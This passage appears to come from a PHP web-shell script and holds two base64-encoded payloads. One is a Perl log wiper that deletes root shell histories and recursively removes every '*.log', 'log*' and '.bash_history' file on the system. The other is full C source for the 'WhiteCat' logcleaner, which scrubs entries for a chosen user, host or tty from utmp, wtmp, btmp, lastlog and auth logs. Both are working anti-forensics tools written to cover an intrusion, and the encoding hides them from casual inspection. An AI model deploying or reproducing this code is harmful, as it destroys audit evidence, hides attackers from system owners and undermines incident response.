2UKICAgICAgewogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzFtWypdL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyAtIE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnlcXDAzM1swMTszN21cIlxuIjsKICAgICAgfQogICAgaWYoIC1lICIvcm9vdC8uYmFzaF9oaXN0b3J5IiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC9yb290Ly5iYXNoX2hpc3RvcnknOwogICAgICAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtIFsqXS9yb290Ly5iYXNoX2hpc3RvcnkgLWVyYXNlZCBPa1wiXG4iOwogICAgICB9CiAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS9yb290Ly5iYXNoX2hpc3RvcnkgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL3Jvb3QvLmtzaF9oaXN0b3J5IiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeSc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Jvb3QvLmtzaF9oaXN0b3J5IC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vcm9vdC8ua3NoX2hpc3RvcnkgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN21bK10gLS0tLS1kb25lIGFsbCBkZWZhdWx0IGxvZyBhbmQgYmFzaF9oaXN0b3J5IGZpbGVzIGVyYXNlZCAhIVwiXG4iOwogIHN5c3RlbSAiZWNobyAtZSBcIlwwMzNbMDE7MzRtLS0tLS0tLS0tTm93IEVyYXNpbmcgdGhlIHJlc3Qgb2YgdGhlIG1hY2hpbmUgbG9nIGZpbGVzIChjYW4gYmUgbG9uZyA6UyktLS0tLS0tLS1cMDMzWzAxOzM3bVwiXG4iOwogIHN5c3RlbSAnZmluZCAvIC1uYW1lICouYmFzaF9oaXN0b3J5IC1leGVjIHJtIC1yZiB7fSBcOyc7CiAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtWypdIGFsbCAqLmJhc2hfaGlzdG9yeSBmaWxlcyAtZXJhc2VkIE9rIVwiXG4iOwogIHN5c3RlbSAnZmluZCAvIC1uYW1lICouYmFzaF9sb2dvdXQgLWV4ZWMgcm0gLXJmIHt9IFw7JzsKICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN21bKl0gYWxsICouYmFzaF9sb2dvdXQgZmlsZXMgLWVyYXNlZCBPayFcIlxuIjsKICBzeXN0ZW0gJ2ZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7JzsKICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN21bKl0gYWxsIGxvZyogZmlsZXMgLWVyYXNlZCBPayFcIlxuIjsKICBzeXN0ZW0gJ2ZpbmQgLyAtbmFtZSAqLmxvZyAtZXhlYyBybSAtcmYge30gXDsnOwogIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bVsqXSBhbGwgKi5sb2cgZmlsZXMgLWVyYXNlZCBPayFcIlxuIjsKICBzeXN0ZW0gImVjaG8gLWUgXCJcMDMzWzAxOzM0bS0tLS0tLS1bK10gIWRvbmUgYWxsIGxvZyBmaWxlcyBlcmFzZWQhWytdLS0tLS0tLVwwMzNbMDE7MzdtXCJcbiI7CiAgc3lzdGVtICJlY2hvIC1lIFwiXDAzM1swMTszNG0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cMDMzWzAxOzM3bVwiXG4iOwogIHN5c3RlbSAiZWNobyAtZSBcIlwwMzNbMDE7MzRtLS0tLS0tLS0tLS0tLS0tLS1NU1JtbCBWIDAuMS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cMDMzWzAxOzM3bVwiXG4iOwoKCg==";
$log_c="LyoKICogIFRoaXMgaXMgV2hpdGVDYXQgbG9nY2xlYW5lciB2ZXJzaW9uIDEuMCBieSBTaGFkT1MgZnJvbSBIZWxsIEtuaWdodHMgQ3Jldy4KICogIEl0IHN1cHBvcnRzIHBlcmwgY29tcGF0aWJsZSByZWd1bGFyIGV4cHJlc3Npb25zIGFuZCBjbGVhbnMgYW55IGJpbmFyeSBhbmQgCiAqICB0ZXh0IGxvZyBmaWxlcyAoanVzdCBjb3JyZWN0IHNvdXJjZSBhIGxpdHRsZSkuIFdoaXRlQ2F0IGlzIGRlc2lnbmVkIGZvciAKICogIGFueSBVTklYLWxpa2Ugc3lzdGVtLCBidXQgdGVzdGVkIG9ubHkgb24gTGludXguIERpc3RyaWJ1dGVkIHVuZGVyIEdQTHYyLiAKICogIFVzZSBpdCBvbmx5IGZvciBlZHVjYXRpb25hbCBwdXJwb3NlLiAKICogIERvbid0IGZvcmdldCB0byB2aXNpdCBvdXIgc2l0ZSBhbmQgbXkgaG9tZXBhZ2UgZm9yIG5ldyByZWxlYXNlczoKICogIGh0dHA6Ly9oZWxsa25pZ2h0cy52b2lkLnJ1CiAqICBodHRwOi8vc2hhZG9zLjB4NDhrLmNjCiAqICBBbHNvLCB5b3UgY2FuIG1haWwgbWUgYW55IGJ1Z3Mgb3Igc3VnZ2VzdGlvbnM6CiAqICBtYWlsdG86c2hhZG9zIC9cLi9cIHJlYWwueGFrZXAucnUgCiAqICBtYWlsdG86c2hhZG9zIC9cLi9cIDB4NDhrLmNjCiAqCiAqICBDb3B5cmlnaHQgKEMpIDg5LCA5MCwgOTEsIDE5OTUtMjAwNyBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24uCiAqCiAqICBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQogKiAgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKICogIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIsIG9yIChhdCB5b3VyIG9wdGlvbikKICogIGFueSBsYXRlciB2ZXJzaW9uLgogKgogKiAgVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCiAqICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgogKiAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZQogKiAgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KICoKICogIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCiAqICBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLAogKiAgSW5jLiwgNTEgRnJhbmtsaW4gU3RyZWV0LCBGaWZ0aCBGbG9vciwgQm9zdG9uLCBNQSAwMjExMC0xMzAxLCBVU0EuICAKICovIAojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPGVycm5vLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHV0bXAuaD4KI2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8cHdkLmg+CiNpbmNsdWRlIDxsYXN0bG9nLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHJlZ2V4Lmg+CiNpbmNsdWRlIDxsaW1pdHMuaD4gLyogZm9yIFBBVEhfTUFYICovCiNpbmNsdWRlIDxnZXRvcHQuaD4KCgojaWZuZGVmIFVUTVBfRklMRQogICAgI2RlZmluZSBVVE1QX0ZJTEUgIi92YXIvcnVuL3V0bXAiCiNlbmRpZiAgICAKI2lmbmRlZiBXVE1QX0ZJTEUKICAgICNkZWZpbmUgV1RNUF9GSUxFICIvdmFyL2xvZy93dG1wIgojZW5kaWYKCi8vbW9kaWZ5IHBhcmFtZXRycyBhcyBpbiB5b3VyIGJveCA7KQojZGVmaW5lIEJUTVBfRklMRSAiL3Zhci9sb2cvYnRtcCIKI2RlZmluZSBMQVNUTE9HX0ZJTEUgIi92YXIvbG9nL2xhc3Rsb2ciCiNkZWZpbmUgTUVTU0FHRVNfRklMRSAiL3Zhci9sb2cvbWVzc2FnZXMiCiNkZWZpbmUgU0VDVVJFX0ZJTEUgIi92YXIvbG9nL2F1dGgubG9nIgoKI2RlZmluZSBNQVhCVUZGIDgqMTAyNAoKI2RlZmluZSBQUk9HUkFNX05BTUUgIldoaXRlQ2F0IGxvZ2NsZWFuZXIiCiNkZWZpbmUgUFJPR1JBTV9WRVJTSU9OIDEuMAojZGVmaW5lIEFVVEhPUiAiU2hhZDBTIFtIZWxsIEtuaWdodHMgQ3Jld10iCgpjaGFyICpteW5hbWU7ICAgICAgICAgICAgICAgICAgICAgLyogZm9yIGVycm9yIG1lc3NhZ2VzICovCmludCBkb19pZ25vcmVjYXNlID0gMDsgICAgICAgICAgICAvKiAtaSBvcHRpb246IGlnbm9yZSBjYXNlICovCmludCBkb19leHRlbmRlZCAgID0gMDsgICAgICAgICAgICAvKiAtRSBvcHRpb246IHVzZSBleHRlbmRlZCBSRSdzICovCmludCBkb191c2VybmFtZQkgID0gMDsKaW50IGRvX2hvc3RuYW1lCSAgPSAwOwppbnQgZG9fdHR5CSAgPSAwOwppbnQgZXJyb3JzICAgICAgICA9IDA7ICAgICAgICAgICAgLyogbnVtYmVyIG9mIGVycm9ycyAqLwoKLyogcGF0dGVybnMgdG8gbWF0Y2ggKi8KcmVnZXhfdCB1c2VybmFtZTsKcmVnZXhfdCBob3N0bmFtZTsKcmVnZXhfdCB0dHk7Cgp2b2lkIGNvcHlfdG1wKGNoYXIgKmRzdGZpbGVuYW1lLCBjaGFyICp0bXBmaWxlbmFtZSk7CnZvaWQgY2xlYXJfdGV4dGxvZyhjaGFyICpmaWxlbmFtZSk7CnZvaWQgY2xlYXJfdXdidG1wKGNoYXIgKmZpbGVuYW1lKTsKdm9pZCBjbGVhcl9sYXN0bG9nIChjaGFyICpmaWxlbmFtZSk7CnJlZ2V4X3QgY29tcGlsZV9wYXR0ZXJuKGNvbnN0IGNoYXIgKnBhdCk7CmludCBwcm9jZXNzX3JlZ2V4cChyZWdleF90ICpwYXR0ZXJuLCBjaGFyICpidWYsIHNpemVfdCBzaXplKTsKdm9pZCB1c2FnZSh2b2lkKTsKdm9pZCB2ZXJzaW9uKHZvaWQpOwoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkKewogIG15bmFtZSA9IGFyZ3ZbMF07CiAgCiAgY2hhciBjOwogIAogIHN0cnVjdCBvcHRpb24gbG9uZ29wdHNbXT17CiAgeyAidXNlciIsICAgCXJlcXVpcmVkX2FyZ3VtZW50LCAmZG9fdXNlcm5hbWUsICAgJ3UnfSwKICB7ICJ0dHkiLCAgICAJcmVxdWlyZWRfYXJndW1lbnQsICZkb190dHksIAkgICAndCd9LAogIHsgImhvc3RuYW1lIiwgcmVxdWlyZWRfYXJndW1lbnQsICZkb19ob3N0bmFtZSwgICAnYSd9LAogIHsgImV4dGVuZGVkIiwgbm9fYXJndW1lbnQsICAgICAgICZkb19leHRlbmRlZCwgICAnZSd9LAogIHsgImlnbm9yZSIsICAgbm9fYXJndW1lbnQsICAgICAgICZkb19pZ25vcmVjYXNlLCAnaSd9LAogIHsgImhlbHAiLAlub19hcmd1bWVudCwJICAgTlVMTCwgCSAgICdoJ30sCiAgeyAidmVyc2lvbiIsICBub19hcmd1bWVudCwJICAgTlVMTCwJICAgJ1YnfSwKICB7IDAsIDAsIDAsIDAgfQogIH07CiAKICBpZiAoKGFyZ2MgPCAyKSB8fCAoYXJnYyA+IDE4KSkgewogICAgdmVyc2lvbigpOwogICAgdXNhZ2UoKTsKICB9CiAgCiAgd2hpbGUgKChjPWdldG9wdF9sb25nKGFyZ2MsYXJndiwidTp0OmE6cmVpaFZXOyIsbG9uZ29wdHMsTlVMTCkpICE9IC0xKSB7CiAgICBzd2l0Y2ggKGMpIHsKICAgIGNhc2UgJ3UnOgogICAgICB1c2VybmFtZSA9IGNvbXBpbGVfcGF0dGVybihvcHRhcmcpOwogICAgICBpZiAoZXJyb3JzKSB1c2FnZSgpOyAvL2NvbXBpbGUgZmFpbGVkCiAgICAgIGRvX3VzZXJuYW1lPTE7CiAgICAgIGJyZWFrOwogICAgY2FzZSAndCc6CiAgICAgIHR0eSA9IGNvbXBpbGVfcGF0dGVybihvcHRhcmcpOwogICAgICBpZiAoZXJyb3JzKSB1c2FnZSgpOyAvL2NvbXBpbGUgZmFpbGVkCiAgICAgIGRvX3R0eT0xOwogICAgICBicmVhazsKICAgIGNhc2UgJ2EnOgogICAgICBob3N0bmFtZSA9IGNvbXBpbGVfcGF0dGVybihvcHRhcmcpOwogICAgICBpZiAoZXJyb3JzKSB1c2FnZSgpOyAvL2NvbXBpbGUgZmFpbGVkCiAgICAgIGRvX2hvc3RuYW1lPTE7CQogICAgICBicmVhazsKICAgIGNhc2UgJ2UnOgogICAgICBkb19leHRlbmRlZCA9IDE7CiAgICAgIGJyZWFrOyAgCiAgICBjYXNlICdpJzoKICAgICAgZG9faWdub3JlY2FzZSA9IDE7CiAgICAgIGJyZWFrOwogICAgY2FzZSAnaCc6CiAgICAgIHZlcnNpb24oKTsKICAgICAgdXNhZ2UoKTsgIAogICAgY2FzZSAnVic6CiAgICAgIHZlcnNpb24oKTsKICAgICAgZXhpdCgwKTsKICAgICAgYnJlYWs7CiAgICBjYXNlIDA6CiAgICAgIGJyZWFrOwogICAgY2FzZSAnOic6CiAgICAgIGZwcmludGYoc3RkZXJyLCAiJXM6IG9wdGlvbiAnLSVjJyByZXF1aXJlcyBhbiBhcmd1bWVudFxuIiwKICAgICAgICAgICAgICAgICAgICAgIG15bmFtZSwgb3B0b3B0KTsKICAgICAgdXNhZ2UoKTsJCSAgICAgIAogICAgY2FzZSAnPyc6CiAgICBkZWZhdWx0OgogICAgICBmcHJpbnRmKHN0ZGVyciwgIiVzOiBvcHRpb24gJy0lYycgaXMgaW52YWxpZDogaWdub3JlZFxuIiwKICAgICAgICAgICAgICAgICAgICAgIG15bmFtZSwgb3B0b3B0KTsKICAgICAgdXNhZ2UoKTsgCiAgICB9ICAKICB9CiAgCiAgLy9zYW5pdHkgY2hlY2sKICBpZiAoIWRvX3VzZXJuYW1lICYmICFkb190dHkgJiYgIWRvX2hvc3RuYW1lKXsKICAgIGZwcmludGYoc3RkZXJyLCAiJXM6IGRpZG4ndCBmb3VuZCBhbnkgcGFyYW1ldHIgdG8gY2xlYW4gKHVzZXJuYW1lLCBob3N0bmFtZSwgdHR5KSFcbiIsCgkJICAgIG15bmFtZSk7CiAgICB1c2FnZSgpOwogIH0gICAgCgogIGNsZWFyX3V3YnRtcChVVE1QX0ZJTEUpOwogIHByaW50ZigidXRtcCBjbGVhbmluZyBcdFx0IFwwMzNbMW1bIE9LIF1cMDMzWzBtXG4iKTsKICBjbGVhcl91d2J0bXAoV1RNUF9GSUxFKTsKICBwcmludGYoInd0bXAgY2xlYW5pbmcgXHRcdCBcMDMzWzFtWyBPSyBdXDAzM1swbVxuIik7CiAgY2xlYXJfdXdidG1wKEJUTVBfRklMRSk7CiAgcHJpbnRmKCJidG1wIGNsZWFuaW5nIFx0XHQgXDAzM1sxbVsgT0sgXVwwMzNbMG1cbiIpOwogIGNsZWFyX2xhc3Rsb2coTEFTVExPR19GSUxFKTsKICBwcmludGYoImxhc3Rsb2cgY2xlYW5pbmcgXHQgXDAzM1sxbVsgT0sgXVwwMzNbMG1cbiIpOwogIGNsZWFyX3RleHRsb2coTUVTU0FHRVNfRklMRSk7CiAgcHJpbnRmKCJtZXNzYWdlcyBjbGVhbmluZyBcdCBcMDMzWzFtWyBPSyBdXDAzM1swbVxuIik7CiAgY2xlYXJfdGV4dGxvZyhTRUNVUkVfRklMRSk7CiAgcHJpbnRmKCJzZWN1cmUgY2xlYW5pbmcgXHQgXDAzM1sxbVsgT0sgXVwwMzNbMG1cbiIpOwogIAogIHJldHVybiAwOwp9CgovKiByZXBsYWNlIGxvZ2ZpbGUgd2l0aCB0ZW1wZmlsZSAqLwp2b2lkIGNvcHlfdG1wKGNoYXIgKmRzdGZpbGVuYW1lLCBjaGFyICp0bXBmaWxlbmFtZSkKewogIGNoYXIgYnVmZmVyW0JVRlNJWl07CgogIHNwcmludGYoYnVmZmVyLCAiY2F0ICVzID4gJXMiLCB0bXBmaWxlbmFtZSwgZHN0ZmlsZW5hbWUpOwogIHByaW50ZigiJXNcbiIsIGJ1ZmZlcik7CgogIGlmIChzeXN0ZW0oYnVmZmVyKSA8IDApIHsKICAgIHByaW50ZigiRXJyb3IgY29weWluZyBmcm9tIHRlbXBmaWxlISIpOwogICAgZXhpdCgtMSk7CiAgfQoKICB1bmxpbmsodG1wZmlsZW5hbWUpOwp9CgoKLyogY2xlYW51cCBwbGFpbnRleHQgbG9nZmlsZXMgKi8Kdm9pZCBjbGVhcl90ZXh0bG9nKGNoYXIgKmZpbGVuYW1lKQp7CiAgY2hhciBidWZ0bXBbTUFYQlVGRl07CiAgRklMRSAqZmQ7CiAgaW50IGZkdG1wOwogIGludCBmb3VuZCA9IDA7CiAgc3RhdGljIGNoYXIgdGVtcGxhdGVbXSA9ICIvdG1wL3RtcGZpbGVYWFhYWFgiOwogIGNoYXIgZnRtcG5hbWVbUEFUSF9NQVhdOwoKICBpZiAoIChmZCA9IGZvcGVuKGZpbGVuYW1lLCAiciIpKSA9PSAwKSB7CiAgICBwZXJyb3IoZmlsZW5hbWUpOwogICAgZXhpdCgtMSk7CiAgfQoKICBzdHJjcHkoZnRtcG5hbWUsIHRlbXBsYXRlKTsKICBmZHRtcCA9IG1rc3RlbXAoZnRtcG5hbWUpOwogIAogIHdoaWxlIChmZ2V0cyhidWZ0bXAsIE1BWEJVRkYsIGZkKSAhPSBOVUxMKQogIHsKICAgIGlmIChkb19ob3N0bmFtZSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmaG9zdG5hbWUsIGJ1ZnRtcCwgc2l6ZW9mKGJ1ZnRtcCkpOyAgICAgIAogICAgaWYgKGRvX3VzZXJuYW1lKSBmb3VuZCA9IHByb2Nlc3NfcmVnZXhwKCZ1c2VybmFtZSwgYnVmdG1wLCBzaXplb2YoYnVmdG1wKSk7IAogICAgaWYgKGRvX3R0eSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmdHR5LCBidWZ0bXAsIHNpemVvZihidWZ0bXApKTsgCQkKICAgIGlmICghZm91bmQpIHdyaXRlKGZkdG1wLCAmYnVmdG1wLCBzaXplb2YoYnVmdG1wKSk7CiAgICBmb3VuZCA9IDA7CiAgfQoKICBmY2xvc2UoZmQpOwogIGNsb3NlKGZkdG1wKTsKCiAgY29weV90bXAoZmlsZW5hbWUsIGZ0bXBuYW1lKTsKfQoKCi8qIGNsZWFudXAgYmluYXJ5IGxvZyBlbnRyaWVzICovCnZvaWQgY2xlYXJfdXdidG1wKGNoYXIgKmZpbGVuYW1lKQp7CiAgc3RydWN0IHV0bXAgZW50cnk7CiAgaW50IGZkOwogIGludCBmZHRtcDsKICBpbnQgZm91bmQgPSAwOwogIHN0YXRpYyBjaGFyIHRlbXBsYXRlW10gPSAiL3RtcC90bXBmaWxlWFhYWFhYIjsKICBjaGFyIGZ0bXBuYW1lW1BBVEhfTUFYXTsKCiAgaWYgKCAoZmQgPSBvcGVuKGZpbGVuYW1lLCBPX1JET05MWSkpID09IC0xKSB7CiAgICBwZXJyb3IoZmlsZW5hbWUpOwogICAgZXhpdCgtMSk7CiAgfQogIAogIHN0cmNweShmdG1wbmFtZSwgdGVtcGxhdGUpOwogIGZkdG1wID0gbWtzdGVtcChmdG1wbmFtZSk7CiAgCiAgd2hpbGUgKHJlYWQoZmQsICZlbnRyeSwgc2l6ZW9mKHN0cnVjdCB1dG1wKSkgPiAwKQogIHsKICAgIGlmIChkb19ob3N0bmFtZSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmaG9zdG5hbWUsIGVudHJ5LnV0X2hvc3QsIHNpemVvZihlbnRyeS51dF9ob3N0KSk7CiAgICBpZiAoZG9fdXNlcm5hbWUpIGZvdW5kID0gcHJvY2Vzc19yZWdleHAoJnVzZXJuYW1lLCBlbnRyeS51dF91c2VyLCBzaXplb2YoZW50cnkudXRfdXNlcikpOwogICAgaWYgKGRvX3R0eSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmdHR5LCBlbnRyeS51dF9saW5lLCBzaXplb2YoZW50cnkudXRfbGluZSkpOwogICAgaWYgKCFmb3VuZCkgd3JpdGUoZmR0bXAsICZlbnRyeSwgc2l6ZW9mKHN0cnVjdCB1dG1wKSk7CiAgICBmb3VuZCA9IDA7CiAgfQoKICBjbG9zZShmZCk7CiAgY2xvc2UoZmR0bXApOwogIAogIGNvcHlfdG1wKGZpbGVuYW1lLCBmdG1wbmFtZSk7Cn0KCgovKiBjbGVhbnVwIGxhc3Rsb2cgYmluYXJ5IGZpbGUgd2l0aCBob2xlcyAqLwp2b2lkIGNsZWFyX2xhc3Rsb2cgKGNoYXIgKmZpbGVuYW1lKQp7CiAgc3RydWN0IHBhc3N3ZCAqcHdkOwogIHN0cnVjdCBsYXN0bG9nIGVudHJ5OwogIGludCB1aWQgPSAwOwogIGludCBmb3VuZCA9IDA7CiAgaW50IGZkOwoKICBpZiAoIChmZCA9IG9wZW4oZmlsZW5hbWUsIE9fUkRXUikpIDwgMCkgewogICAgICBwZXJyb3IoZmlsZW5hbWUpOwogICAgICBleGl0KC0xKTsKICB9CiAgCiAgLyogc2V0IHBvc2l0aW9uIHRvIHRoZSBiZWdpbm5pbmcgb2YgdGhlIGZpbGUgKi8KICBsc2VlayhmZCwgKG9mZl90KSAwLCBTRUVLX1NFVCk7CiAgd2hpbGUgKHJlYWQoZmQsICZlbnRyeSwgc2l6ZW9mKHN0cnVjdCBsYXN0bG9nKSkgPiAwKQogIHsKCWlmIChkb191c2VybmFtZSkgewoJCWlmICgocHdkID0gZ2V0cHd1aWQodWlkKSkhPU5VTEwpCQoJCQlmb3VuZCA9IHByb2Nlc3NfcmVnZXhwKCZ1c2VybmFtZSwgcHdkLT5wd19uYW1lLCBzaXplb2YocHdkLT5wd19uYW1lKSk7IAoJCXVpZCsrOwoJfQogICAgICAgIGlmIChkb19ob3N0bmFtZSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmaG9zdG5hbWUsIGVudHJ5LmxsX2hvc3QsIHNpemVvZihlbnRyeS5sbF9ob3N0KSk7CiAgICAgICAgaWYgKGRvX3R0eSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmdHR5LCBlbnRyeS5sbF9saW5lLCBzaXplb2YoZW50cnkubGxfbGluZSkpOyAKCWlmIChmb3VuZCkKCXsKCQlsc2VlayhmZCwgLShvZmZfdClzaXplb2Yoc3RydWN0IGxhc3Rsb2cpLCBTRUVLX0NVUik7CgkJLy9YWFggaXMgdGhpcyAzIGxpbmVzIGNvcnJlY3Q/CgkJZW50cnkubGxfdGltZSA9IDA7CgkJc3RyY3B5IChlbnRyeS5sbF9saW5lLCAiICIpOwoJCXN0cm5jcHkgKGVudHJ5LmxsX2hvc3QsICIgICAgICIsIDUpOwoJCWZvdW5kID0gMDsKCX0KCXdyaXRlIChmZCwgJmVudHJ5LCBzaXplb2Yoc3RydWN0IGxhc3Rsb2cpKTsKICAgICAgICAgIAkJCiAgfSAgCiAgY2xvc2UoZmQpOwp9CgoKLyogY29tcGlsZSB0aGUgcmVnZXggcGF0dGVybiAqLwpyZWdleF90IGNvbXBpbGVfcGF0dGVybihjb25zdCBjaGFyICpwYXQpCnsKICAgICAgICBpbnQgZmxhZ3MgPSBSRUdfTk9TVUI7ICAvKiBkb24ndCBuZWVkIHdoZXJlLW1hdGNoZWQgaW5mbyAqLwogICAgICAgIGludCByZXQ7CglyZWdleF90IHBhdHRlcm47CiNkZWZpbmUgTVNHQlVGU0laRSAgICAgIDUxMiAgICAgLyogYXJiaXRyYXJ5ICovCiAgICAgICAgY2hhciBlcnJvcltNU0dCVUZTSVpFXTsKCiAgICAgICAgaWYgKGRvX2lnbm9yZWNhc2UpCiAgICAgICAgICAgICAgICBmbGFncyB8PSBSRUdfSUNBU0U7CiAgICAgICAgaWYgKGRvX2V4dGVuZGVkKQogICAgICAgICAgICAgICAgZmxhZ3MgfD0gUkVHX0VYVEVOREVEOwoKICAgICAgICByZXQgPSByZWdjb21wKCZwYXR0ZXJuLCBwYXQsIGZsYWdzKTsKICAgICAgICBpZiAocmV0ICE9IDApIHsKICAgICAgICAgICAgICAgICh2b2lkKSByZWdlcnJvcihyZXQsICZwYXR0ZXJuLCBlcnJvciwgc2l6ZW9mIGVycm9yKTsKICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAiJXM6IHBhdHRlcm4gYCVzJzogJXNcbiIsIG15bmFtZSwgcGF0LCBlcnJvcik7CiAgICAgICAgICAgICAgICBlcnJvcnMrKzsKICAgICAgICB9CgllbHNlCgkJcmV0dXJuIHBhdHRlcm47Cn0KCgovKiBwcm9jZXNzIHJlZ3VsYXIgZXhwcmVzc2lvbiAqLwppbnQgcHJvY2Vzc19yZWdleHAocmVnZXhfdCAqcGF0dGVybiwgY2hhciAqYnVmLCBzaXplX3Qgc2l6ZSkKewoJY2hhciBlcnJvcltNU0dCVUZTSVpFXTsKCWludCByZXQ7CgoJaWYgKChyZXQgPSByZWdleGVjKHBhdHRlcm4sIGJ1ZiwgMCwgTlVMTCwgMCkpICE9IDApIHsKCQlpZiAocmV0ICE9IFJFR19OT01BVENIKSB7CgkJCSh2b2lkKSByZWdlcnJvcihyZXQsIHBhdHRlcm4sIGVycm9yLCBzaXplb2YgZXJyb3IpOwoJCQlmcHJpbnRmKHN0ZGVyciwgIiVzOiAlc1xuIiwgbXluYW1lLCBlcnJvcik7CgkJCWVycm9ycysrOwoJCQlyZXR1cm4gMDsKCQl9CgkJcmV0dXJuIDA7Cgl9IAoJZWxzZQoJCXJldHVybiAxOwkKfQoKCi8qIHByaW50IHVzYWdlIG1lc3NhZ2UgYW5kIGV4aXQgd2l0aCAweDQ4ayBzdGF0dXMgKi8Kdm9pZCB1c2FnZSh2b2lkKQp7CiAgICBwcmludGYoIlVzYWdlOlxuIik7CiAgICBwcmludGYoIlx0ICVzIFstdSB1c2VyXSBbLXQgdHR5XSBbLWEgaG9zdG5hbWV8aXBhZGRyXSBbT1BUSU9OU11cbiIsIG15bmFtZSk7CiAgICBwcmludGYoIk9QVElPTlM6XG4iKTsKICAgIHByaW50ZigiXHQgLWkgLS1pZ25vcmUgXHQgaWdub3JlIGNhc2UgaW4gcmVnZXhwc1xuIik7CiAgICBwcmludGYoIlx0IC1lIC0tZXh0ZW5kZWQgXHQgdXNlIGV4dGVuZGVkIHJlZ2V4cHNcbiIpOwogICAgcHJpbnRmKCJcdCAtViAtLXZlcnNpb24gXHQgc2hvdyB2ZXJzaW9uIGluZm8gYW5kIGV4aXRcbiIpOwogICAgcHJpbnRmKCJcdCAtaCAtLWhlbHAgXHQgc2hvdyB0aGlzIGhlbHAgc2NyZWVuIGFuZCBleGl0XG4iKTsKICAgIHByaW50ZigiXG4iKTsKICAgIGV4aXQoMHg0OCk7Cn0KCi8qIHByaW50IHZlcnNpb24gaW5mb3JtYXRpb24gKi8Kdm9pZCB2ZXJzaW9uKHZvaWQpCnsKICAgIGZwcmludGYoc3Rkb3V0LCAiXHQgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuIik7IAogICAgZnByaW50ZihzdGRvdXQsICJcdCA9IFwwMzNbMW0lcyAlMS4xZiBieSAlcywgMjAwNy5cMDMzWzBtID1cbiIsIFBST0dSQU1fTkFNRSwgUFJPR1JBTV9WRVJTSU9OLCBBVVRIT1IpOwogICAgZnByaW50ZihzdGRvdXQsICJcdCA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG4iKTsgCn0KCg==";
